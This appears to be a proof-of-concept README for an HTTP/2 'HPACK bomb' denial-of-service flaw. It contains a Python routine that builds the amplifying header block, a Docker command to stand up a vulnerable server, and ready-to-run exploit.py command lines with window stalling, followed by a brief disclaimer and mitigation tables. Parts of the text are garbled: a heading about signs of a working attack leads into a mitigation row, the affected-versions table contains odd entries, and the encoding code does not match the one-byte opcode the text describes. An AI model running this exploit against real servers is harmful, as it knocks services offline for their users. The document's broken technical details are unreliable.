
CVE-2026-49975 is a critical denial-of-service (DoS) vulnerability in HTTP/2 server and proxy implementations. The attack, dubbed "HTTP/2 Bomb" or "HPACK Bomb", exploits two design-level behaviours in the HTTP/2 protocol to force a target into unbounded memory consumption (OOM) and CPU exhaustion:
CVSS 3.1 Base Score: 9.8 (Critical)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The attack is most effective when the two stages complement each other, but each stage alone is sufficient against some implementations.
HTTP/2's HPACK header compression uses an evolving dynamic table. Once a large cookie header is inserted into the table (via Literal+Incremental Encoding), an attacker can reference that entry with a 1-byte opcode. Repeated references cause the decoder to reconstruct the same header over and over.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
A 5 KB packet can expand to hundreds of megabytes of decoded payload.
SETTINGS with INITIAL_WINDOW_SIZE=0 forces the victim to queue
all HEADERS/continuation data. The attacker trickles out
WINDOW_UPDATE frames slowly. Buffers remain combinatorially full.
| Mechanism | amplification factor |
|---|---|
| raw HEADERS body | 1x |
| HPACK ref blow-up | 20–80x |
| + concurrent streams | 100–500x |
| + window stalling | 1000x+ |
Consult your vendor's CVE entry for exact bounds.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker quick-victim:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
The companion script is exploit.py.
The core routine:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
The script performs:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Monitor victim resources:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Signs the attack is working:
| Approach | setting |
|---|---|
| Limit headers per stream | MaxHeaderCount 500 |
This information is for educational and authorized security testing only. Only run against systems you own or have written permission to test.
| Vendor / Project | Version | description |
|---|
| Apache mod_http2 | < 2.0.13 | OOM on indexed ref blow-up |
| nghttp2 | < 1.62.0 | unbounded memory bloat |
| h2o | < 4.0.2 | infinite loop in decoder |
| Node.js http2 crate | < 1.12.0 | intrinsic expansion in nghttp2-rs |
| Go net/http (h2) | < 1.24 | goroutine hang + OSL alloc |
| Apache Traffic Server | < 9.3.0 | OOM via internal buffer |
| HAProxy h2 | < 2.9 | crash on oversized AVP |
| Envoy | < 1.30 | massive allocation in the flow-control |
| Rust hyper/h2 crate | < 5.14 | panic on overflow SK |
| Reject low-compression | ratio threshold < 5 |
| Bound HPACK growth | limit dynamic table to 1 KB |
| Per-connection memory | reject after N MB |
| rate limiting | generic conn/s, req/s |